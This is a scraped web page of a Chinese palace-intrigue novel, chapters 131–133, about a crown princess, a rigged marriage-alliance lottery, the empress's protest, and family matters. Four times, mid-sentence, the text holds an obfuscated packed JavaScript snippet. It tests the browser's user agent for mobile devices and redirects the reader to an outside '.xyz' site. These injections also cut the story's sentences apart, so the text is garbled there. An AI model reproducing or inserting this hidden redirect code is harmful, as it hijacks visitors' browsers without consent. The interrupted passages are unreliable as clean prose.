洛云舒拍拍她的手背以示安慰:“不怕。这个圈套,咱们没中招儿。” 幸好,现在只是后怕。 “嫂嫂,是谁想让我死?”明曦公主眼底含泪,再次问道。 洛云舒依旧摇头:“明曦,你太害怕了。你先回去休息一会儿,吃点东西,洗个热水澡,一切会好的。” “嗯。”明曦公主点点头。 她回去了。 没多久,裴行渊回来了。 洛云舒把纸团拿给他看。 “不是母后的字。母后的字虽然师从赵大儒,却有自己的风格,很娟秀。可你看纸团上的字,苍劲有力,像是个腕力更强的人写的。但这字体,我认不出来,不是我所认识的人写的。” 洛云舒点点头:“殿下,我不准备在皇后面前拆穿这件事。” 裴行渊一怔,略微一想就懂了。 如果不拆穿,那和亲的人选就只能是昭阳公主。 可如果拆穿纸团的猫腻,那么,很有可能还要重新选。 洛云舒不打算冒这个险。 只是,若霍贵妃事后复盘这件事情,或许会发现一些端倪。 洛云舒把纸团放在蜡烛上,烧了,亲眼看它烧的干干净净。 没了这纸团,就没了证据。 赵皇后那里余下的三个纸团,会被幕后之人妥善处理。 所以,抓阄的真相不会被拆穿。 “云舒,还是你心思更机敏些。” “可这样一来,殿下的处境会更糟糕。殿下受得住吗?” 今日这件事即便是赵皇后做的,也是出自于昭远帝的授意。 归根结底,昭远帝这样做还是为了对付裴行渊,他想让裴行渊乱心神,让他不能专心应付眼下的事情。 “没事,我应付得来。” 一切的压力,重新回到了裴行渊这边。 “殿下,有什么我能分忧的吗?” 裴行渊笑笑,面容温润:“云舒,你不必担心,我会妥善处置。现在这样就已经让你很费心了。你护住明曦,就解决了我的后顾之忧。” 说着,裴行渊在洛云舒身边坐下,顺手端起杯子喝了一口茶。 洛云舒要阻止,但已经来不及。 裴行渊已经把那杯茶一饮而尽。 “怎么了?”裴行渊问。 洛云舒垂眸:“没什么。” 这杯茶是她喝过的。 不成想,这时候裴行渊说道:“是我唐突了,没留意到这茶水是你喝过的。希望你不会介意。” “殿下言重了。” 她会以为,是自己唐突了裴行渊。 没想到,他居然会这么说。 …… 和亲的事就这么定了下来。 昭阳公主在自己的宫院里哭天抢地,哭着闹着不肯去和亲,哀求霍贵妃去跟赵皇后求情。 霍贵妃去了,但没见到赵皇后的面。 之后,昭阳公主直接去了勤政殿,在殿外长跪不起。 消息传到柔仪殿,明曦公主也在。 她自嘲一笑:“原来,被偏爱的人是这样的。” 如果是她被选中,她是不会去勤政殿外跪着的,因为她知道,即便她在勤政殿外跪到死,父皇也不会心软。 这份偏爱,她从未有过。 转脸看到洛云舒疼惜的表情,明曦公主微微一笑:“嫂嫂,我没事。我突然在想,或许,我该学点什么。” “你想学什么?” “嫂嫂,我没你聪明,你做的事情我做不了。所以我想,或许我可以学点有用的技能。我觉得,学医术就很不错,可以治病救人,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787429|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有意义。” “可以,想做就去做,别有什么顾虑。” “嫂嫂,你不觉得我身为一个公主,去学医术很不合适?而且,这都是要从小开始学才行,我现在已经这么大了,再去开始学医,实在是太晚了。” 说着,明曦公主自己打了退堂鼓。 洛云舒摇摇头:“不是这样的。古语有云,朝闻道,夕死可矣。只要想学,什么时候都不晚。只要你想,什么都可以试一试。” 人不应该给自己设限。 重活一世,洛云舒看得很通透。 此后余生,再不会有哪一天会像今日的她这般年轻。 如果一定要有一个开始,那么,现在就是最好的时候。 明曦公主被鼓舞到,立刻去了偏殿。 千机老人被安置在偏殿,同时,偏殿里有大夫随侍左右。 既然要学医,自然要去问问大夫,先从什么开始学起。 见状,洛云舒唇角含笑。 能找到想做的事情并且能够去做,这样很好。 眼下事情繁杂,这样一来,至少可以不胡思乱想。 有朝一日,当她脱离这里,重获自由身,或许她会考虑去学点什么。 学什么呢?种花?刺绣?养鱼?砍树…… 越想越离谱的时候,洛云舒自己就笑了。 不拘什么,只要她喜欢,想学什么就学什么。 那样的日子,令人向往。 想到这些,洛云舒心情极好。 因为心存希望,所以无论现在的事情再棘手,她都有足够的耐心去处理。 很快,洛云舒就得到消息,昭阳公主进了勤政殿,再出来的时候,脸色看起来好了很多,甚至还带着浅淡的笑意。 洛云舒心中暗道不妙。 昭阳公主向来受宠,只怕昭远帝改了主意。 果不其然,隔日洛云舒就得到消息,昭远帝让赵皇后重新组织抓阄。 理由是昭阳公主身子弱,此去大楚路途遥远,她受不住。 听到这个消息,洛云舒不由得发出一声冷笑。 这理由,还真是当别人都是傻子啊。 洛云舒正琢磨着该如何破局,就得到了赵皇后和昭远帝大吵一架的消息。 第131章 知其不可为而为之 这让洛云舒感到意外。 一般情况下,这样的消息不会传出来。 除非是起的争执太大,听到动静的人很多,这才会瞒不住。 但,洛云舒想不出二人起争执的原因。 思来想去,洛云舒还是打算去翊坤宫一趟。 然而,她进去的时候却瞧见赵皇后素衣素服,正往外走。 她的贴身丫鬟棋书跪在地上,满脸泪痕。 洛云舒紧走几步,赶上前去:“母后,您这是做什么去?” 赵皇后看着洛云舒,凄然一笑:“云舒,为后者,有劝谏陛下之责。如今陛下做错了事,本宫理应规劝。” 洛云舒有些意外,她没料到赵皇后把话说得这么直白。 “母后,到底出了什么事?能跟儿臣说说吗?或许,儿臣能给您出出主意。” “没用的,云舒,事情已经出了。陛下是君王,理应一言九鼎。抓阄一事既然尘埃落定,就应该按照结果来执行。可陛下为了一己之私,居然私自做了更改,这无法服众,更会影响他的君威。” 洛云舒心中一震,莫非赵皇后并不知道抓阄的猫腻儿? 若她知道,不该是现在这个反应。 洛云舒心里立刻有了判断。 她握住赵皇后的手,轻声道:“母后,此事另有内情。” “什么?” 洛云舒就把抓阄的猫腻儿告诉了她。 听完,赵皇后不由得瞪大了双眼:“云舒,你、你的意思是,陛下原本是想让明曦去和亲?” “是。母后,如果我没有料错,那五张纸团上全部写的都是去。明曦年龄最大,她先抓阄,结果是显而易见的。” 赵皇后陷入震惊之中。 的确,纸团是陛下派人送来的。 她不曾起疑心。 但是,就差那么一点儿,她就成了帮凶。 赵皇后立刻道:“云舒,此事本宫并不知情。” “儿臣明白。但是,既然这件事是陛下亲手所办,您因为这件事跟他起争执,只会惹来斥责。” “不,云舒,道理不该是这个样子的。这天底下的事,对就是对,错就是错,不能因为做错事的人身份尊贵就轻飘飘地揭过。这件事,陛下必须收回成命。他主导的抓阄的内幕本宫可以不说,但,他不让昭阳去和亲,这件事不成。” 看样子,赵皇后还是要去。 洛云舒不懂,去做一件知道注定会失败的事情,有意义吗? 赵皇后还是去了。 看着她决绝的背影,洛云舒突然懂了。 赵皇后身上,有天下读书人推崇的文人风骨。 为了坚守心中的正义,知其不可为而为之。 …… 赵皇后素衣素服,不施粉黛,缓步走进勤政殿,跪下。 “陛下,君无戏言,更不可朝令夕改,臣妾求您收回成命,以正君威。” 昭远帝冷眼瞥过来,怒道:“赵氏,你冥顽不灵!” 赵皇后抬头直视圣颜,不卑不亢:“陛下,我赵氏风骨,一向如此。” “此事事关朝政,朕有朕的考量。后宫不得干政,皇后请回吧。” “陛下,若这件事当真和朝政有关,就不会秘密进行,不被天下人所知。臣妾求您,收回成命!” 昭远帝冷笑:“赵氏,你不过是一个未曾承宠的皇后,封你为后,不过是看在赵家的份儿上,你别把自己太当回事儿。” “陛下,臣妾一日是皇后,便要尽身为皇后的职责。除非陛下废了臣妾的皇后之位。” 昭远帝怒目而视。 然而,赵皇后依旧不卑不亢,更不退让,她跪着,脊背挺得很直。 就在这时候,外面传来内侍的禀报声:“赵大儒到!” 赵大儒已经年过古稀,在大齐,他有不经通报就直接面见皇帝的特权。 听到赵大儒到,昭远帝立刻起身相迎。 “师祖,您怎么来了?” 赵大儒学识渊博,曾任三任皇帝的帝师,当得起一句师祖之名。 赵大儒须发皆白,他并未看跪在地上的赵皇后,只看着昭远帝,缓缓说道:“微臣来,是想与陛下论一论,何为君威。” 昭远帝面上带笑:“师祖,关于此事,朕有所考量。并非是朕朝令夕改,而是这件事牵一发而动全身,改不得。” “陛下为了公正,允许抓阄,就应该接受抓阄的结果。更何况,如今皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793484|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求请,陛下理应给她一个台阶。她才十二岁,做这个皇后多有不易。若陛下连这个体面都不给她,她日后如何能做好这个皇后,又如何能够服众?” 赵大儒不论朝政,只站在赵皇后的立场去说。 昭远帝一时无言。 他无法反驳。 皇后是他选的,当时他给赵大儒保证过,会给赵皇后体面。 最后,昭远帝终是点了头:“师祖放心,朕会依照抓阄的结果办。” “陛下,事情未必就到了必须要公主和亲的地步。” 赵大儒这话,意味深长。 “您说的是。” 赵大儒没有再多说,起身告辞,婉拒昭远帝的相送,只让赵皇后送他出去。 走出勤政殿外,赵皇后满腹歉疚:“祖父,让您操心了,是棋书找您来的吧?” “是。你也是的,遇到了事情为什么不跟家里说?”面对小孙女,赵大儒的语气和缓了许多。 “孙女是不想让祖父跟着忧心。您年纪大了,还要为我奔波,我实在是过意不去。” “傻丫头,你年龄再大,身份再高,不也是老夫的孙女吗?再说了,做长辈的,总是要为儿孙忧心的。” “祖父。”赵皇后神色动容,挽住赵大儒的手臂。 赵大儒轻斥:“不可举止不端。” 赵皇后立刻松手。 “清梧,辛苦你了。” “不辛苦的,祖父。” 说完,祖孙二人相视一笑。 赵皇后的眼睛里,隐隐闪着泪光。 …… 柔仪殿内,洛云舒很快得到消息,维持原来抓阄的结果。 得到这个消息,洛云舒喜忧参半。 喜的是这一次昭远帝落于下风,不能为所欲为。 忧的是如此一来,裴行渊面临的压力会更大。 维持原来抓阄的结果,昭远帝无法通过对付明曦公主给裴行渊施压。 那么,他就会直接对付裴行渊。 或许,裴行渊应该急流勇退。 只是不知道,他自己愿不愿意。 晚上裴行渊回来的时候,洛云舒尚未提及自己的建议,却发现裴行渊欲言又止。 第132章 我可能要对不住你了 洛云舒看向裴行渊,面带微笑:“殿下,您是有什么事要跟我说吗?” 裴行渊神色肃穆:“云舒,有件事,我可能要对不住你了。” “殿下既然把这件事说了出来,就不算真的对不住我。是什么事,殿下只管直说。” “我打算把千机老人交给父皇。” 洛云舒倏然一笑。 她原本,就想向裴行渊这么提议。 把千机老人交给昭远帝,如此以来,千机老人就是昭远帝的座上宾。 如此一来,造出能克制大楚的武器,就算是昭远帝的功劳。 这是其一。 其二,大楚使团的人如今还在京城,能被选出来做使臣的人,绝非庸碌之辈。若是被他们察觉昭远帝忌惮裴行渊,那么对于大齐而言,绝对不是一件好事。 所以,裴行渊把千机老人交出去,可以避免和昭远帝之间的纷争。 如此一来,太子与皇帝相处和睦,大楚的人也不会有所觉察。 所以,这一招,可谓是一石二鸟。 洛云舒没有先提起,是担心裴行渊舍不下这个功劳。 毕竟,若是能造出克制大楚的新武器,将是不世之功。 将到手的功劳拱手让人,很少人会这么办。 但裴行渊这么做了。 心头千思万绪,却也只是短短一瞬。 待裴行渊话音落下,洛云舒立刻道:“殿下果然是心存大义之人。” 裴行渊有点意外:“你不生气?” “我为何要生气?”洛云舒反问。 “找到千机老人是你的功劳。我将他交出去,你的功劳就会随即泯灭。日后即便是**行赏,也没有你的一席之地。” 洛云舒笑着摇头:“殿下想错了。我是太子妃,不需要这样的功劳。说到底,将功劳拱手让人的那个人,是您。” “我不愿父子反目,更不愿大楚的人看出什么端倪。从目前的情况来看,把千机老人交出去是最好的。” “既然殿下决定了,就去做。” “好。”裴行渊眸光闪动,备受鼓舞。 他凝视着洛云舒,喉结微动:“云舒,我……” 他欲言又止。 “殿下想说什么?”洛云舒不解。 裴行渊紧攥的右手缓缓背到身后,脸上重新显露出浅淡的笑容:“没什么,是些无关紧要的小事,之后再说给你听。” “好。”洛云舒含笑应道。 裴行渊很快就走了。 要把千机老人交出去,需要妥善安排。 洛云舒并不觉得此举对裴行渊完全没有任何好处。 昭远帝忌惮裴行渊,旁人不知,朝中的一些重臣理应有所察觉。 那么,裴行渊把千机老人交出去,就成了那个主动解决争端的人。如此一来,这些人就会意识到,和昭远帝的自私狭隘相比,裴行渊的举动更加大义凛然。 裴行渊是一个合格的太子,日后,也会是一个合格的君王。 他甚至,比昭远帝更适合做皇帝。 一旦这些重臣心里有了这个认知,日后再发生什么,他们会无意识地偏袒裴行渊。 这是一步暗棋,虽然不知什么时候会派上用场,但只要布了局,总有用得着的时候,不急。 千机老人以最快的速度交给了昭远帝。 兵部制造新武器,进度斐然。 这些大事用不着洛云舒忧心,她只安心准备给海云澜的添妆。 时间匆匆流逝,过几日就是海云澜的婚期。 添妆是早已准备好的,其中最有分量的,是赵皇后先前赏赐给她的八宝如意金冠。 这金冠用料考究,上面镶嵌的宝石更是世间少有,价值连城。 只是,用赵皇后赏赐之物为海云澜做添妆,还需要跟赵皇后说一声。 好在赵皇后并无异议。 洛云舒这才安心,挑了七月二十这个日子,去了海家。 事先,她并未告知,微服出行。 海云澜见了她,惊讶坏了:“我真没想到你能来。” 洛云舒笑着把添妆送上:“你我相识一场,你要嫁人,我怎能不来?只是你大婚那日,我可能来不了。” 她的身份摆在这里,若她在海云澜大婚那一日以太子妃的身份出现,那么,海家人就要忙着接待她。 可那一日,海云澜才应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793485|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是那个主角。 “没事,你的心意,我知晓的。” 说着,海云澜吸吸鼻子:“要说这成亲,我第一舍不得我父母,第二就是舍不得你。虽说易县离京城不太远,但是我嫁了人,就不能总是回娘家,以后怕是要隔好几个月才能见你一面了。” “无妨,只要心意相通,即便千里也是咫尺。云澜,愿你夫妻二人相敬相爱,幸福一生。” “会的。”说着,海云澜满眼含笑。 洛云舒捏捏她的脸,嗔道:“不害臊。” “就不害臊。他人很好的。当然,比不得太子殿下对你的宠爱。” 洛云舒笑着挠她痒痒:“还敢调侃我,找打!” 海云澜笑着去躲。 俩人闹了一会儿,洛云舒起身告辞。 海云澜拉着洛云舒的手,依依不舍:“云舒,我真舍不得你。” “傻姑娘,虽有一别,但总有相见之期。只要彼此心存惦念,就不惧路途遥远。” 海夫人也在一旁劝:“云澜,太子妃说得对,你可别惹太子妃难过。” 海云澜这才松开洛云舒的手:“我会经常给你写信的,你记得要给我回信。我知道你忙,但是至少一个月要给我写一封信。” “放心,你给我写多少,我就回你多少,绝不偷懒。” “这还差不多。”海云澜得到保证,总算是有了一点笑模样。 从海家出来,洛云舒回了一趟洛府。 如今洛守礼带着孙氏去了肃州,在她的主导下,洛府如今是二叔和二婶管家。 眼下,洛明谦已经去了应天书院读书,她特意问过裴行渊,裴行渊说洛明谦勤奋好学,成绩突飞猛进,屡次得到夫子的夸赞,并建议洛明谦参加今年的秋闱。 若秋闱顺利,明年就可以参加春闱。 知道这个,洛云舒自然是高兴的。 二叔这边也很勤勉,设计出的好几个款式都得到了京城贵妇们的追捧,如今金店的生意极好。 一切,都在朝着好的方向发展。 洛云舒回府是临时起意,并未事先告知,她去找二婶的时候,却瞧见一个面生的妇人从二婶的院子里出来。 第133章 舒丫头,你快说句话啊! 而且,这妇人还是二婶的贴身丫鬟春枝送出来的。 春枝瞧见洛云舒,急忙跪下:“太子妃,奴婢给您行礼了。” 那面生的妇人也立刻跪下,语无伦次道:“老奴,啊不,草民给您磕头了。” “免礼。” 洛云舒发了话,那面生的妇人软着腿走了,一路上摔了好几跤。 春枝瞧见了,想笑,又不敢,忙把洛云舒往里面引。 洛云舒随口问道:“什么人?” “来给二小姐说亲的。” 这时候,二婶得到消息,迎了出来。 她要给洛云舒行礼,被洛云舒拦下:“二婶,内宅之中,不讲这些虚礼。” 落座之后,二婶把下人都遣了出去:“云舒,你这次回来,有什么要交代的?” “没什么,二婶,我就是随便回来坐坐。您在张罗着给洛婉说亲?” “倒也不是我张罗,是有人主动上门说亲,而且说的亲事还都挺不错的。” 洛云舒看得出来,二婶心动了。 洛云舒却给她的热情泼了一盆冷水:“二婶,我觉得婉婉的婚事应该再缓缓。” “啊?为什么?” “二婶,恕我直言,现在有人肯给婉婉说亲,而且说亲的对象都还不错,这是看在我的脸面上。这样不妥。在这样的情况下,婉婉嫁过去,容易得不到尊重。我听太子殿下说,书院的夫子建议明谦今年参加秋闱。我的意思是,等明谦的秋闱有了结果再给婉婉说亲。到那时,能攀得上的门第会更高,婉婉也会得到尊重。” 二婶初来京城,洛云舒怕她不懂这其中的弯弯绕,就把道理掰碎了讲给她听。 她果然听进去了,甚至有些忐忑:“云舒,是我不对,事先没想着先问问你就瞎做决定。你放心,我这就谢绝所有的媒婆上门,绝不含糊。” “二婶放心,眼下已经七月底,一般情况下秋闱都是在八月,左右不过是再等一个月,不会耽误什么。” “好,好。”二婶连声应着。 洛云舒没再久留,起身告辞。 只是,她的马车走出洛府没多久,就被人拦下。 “放肆!想死吗?”马车外,寒霜怒斥。 随即,一个涎笑的声音响起:“这位姑娘,你别动怒。我是你们太子妃的亲舅舅。” 是孙富贵。 往昔的记忆瞬间涌上心头。 “去旁边的茶楼。”洛云舒吩咐道。 洛云舒在雅间里坐好之后,孙富贵才由寒霜带进来。 多年未见,孙富贵那副獐头鼠目的样子还是没有丝毫的改变。 进来之后,他的目光直落在洛云舒脸上,肆无忌惮地打量着。 片刻后,他笑了:“我这外甥女如今真是不一样了,瞧瞧这穿金戴银的模样,真真是比画里的神仙还富贵。” 他的话音刚落,脸上就挨了一个耳光。 寒霜打的,又一脚踹在孙富贵的膝盖上,让他跪下。 “放肆!见到太子妃娘娘,岂敢不行礼?” 孙富贵“哎呦哎呦”直叫唤,立刻就骂开了:“瞎了你的狗眼!老子是太子妃的亲舅舅!舒丫头,你快说句话啊!” 洛云舒勾唇冷笑:“你这打,挨的不冤。” 孙富贵瞪大双眼:“怎么,你嫁了太子,就不认自个儿的亲舅舅了?” “认又如何?不认又如何?” “有道是娘亲舅大,就算是你娘现在没在京城,你见了我这亲舅舅,也该上赶着过来行礼。怎的我巴巴地来见你,你反倒让你的下人欺辱我?” “欺辱就欺辱了,你能如何?” “你、你真不认我?” “孙富贵,就凭你之前做的事情,我凭什么认你?” “你可别忘了,玉瑶马上就要嫁进安国公府做少国公夫人了。我跟当朝国公爷是亲家!” “那你进得了安国公府的大门吗?” 孙富贵哑巴了。 别说进了,他刚刚靠近安国公府的大门就被撵了。 天杀的,那守门的看门狗穿的比他还富贵! 哪怕是他自报家门,也没能进得了安国公府的大门,反倒是被打了一顿。 要不然,他也不至于来堵洛云舒。 他进不了东宫,也进不了洛府,就用了笨办法,守在洛府门外,想着碰碰运气。 谁知,还真被他给碰上了。 可现在发生的事情,和他预想的完全不同。 然而,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793486|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛云舒面前,他不愿意丢面儿,硬着头皮道:“自然是进去了,我还跟国公爷喝茶了呢。” “哦?是吗?国公爷请你喝的什么茶?” “上好的毛尖,喝一口,舌头都是香的!没有一点儿霉味儿!” 洛云舒懒得拆穿,直接下了命令:“孙玉瑶成亲之前,你安安分分地待在她那院子里,不许出门。她成亲之后,你直接回老家,不许在京城逗留!” “你说的这是什么话?我凭什么听你的?我还打算让玉瑶给耀**排个差事呢,最不济,也得是个五品官吧。” 洛云舒愣是给气笑了。 就那孙耀祖,大字不识一个,还想做五品官? 跟这样的人,洛云舒懒得再说什么,也说不通,她直接吩咐寒霜:“关起来。” 把人关起来,至少不会闹什么笑话。 不然,到时候丢的不仅仅是孙玉瑶的脸,还有洛云舒的。 孙玉瑶和霍少远的婚期已经定了,就在八月初。 霍娇娇和三皇子的婚期也定了,在八月二十。 转眼间到了七月二十六,海云澜的婚期。 洛云舒另外备了礼物,让知意送过去。 知意回来,兴奋地讲述着海云澜大婚的场景。 洛云舒听了,唇角含笑。 当初她被逼着为霍少远殉节,不少人都在看笑话,但海云澜站了出来,她诚意拳拳,想要搭救她。 患难见真情,那是一份特别的情意,洛云舒很珍惜。 如今看到她嫁得如意郎君,洛云舒也为她感到高兴。 洛云舒正笑着,就见裴行渊走了进来。 “在说什么?”他主动问。 把千机老人交给昭远帝之后,裴行渊闲了下来。 “知意在跟我讲云澜大婚的场景。她嫁得良人,我为她感到欢喜。” 裴行渊在洛云舒身边坐下:“你我大婚的时候,你可欢喜?” “自然是欢喜的。”洛云舒随口应道。 “因何欢喜?” “因我跳出泥潭,即将拥有一番新的天地。” “那你觉得,我是不是良人?” 洛云舒愣住,她看向裴行渊,正对上他那一双深邃的眼眸。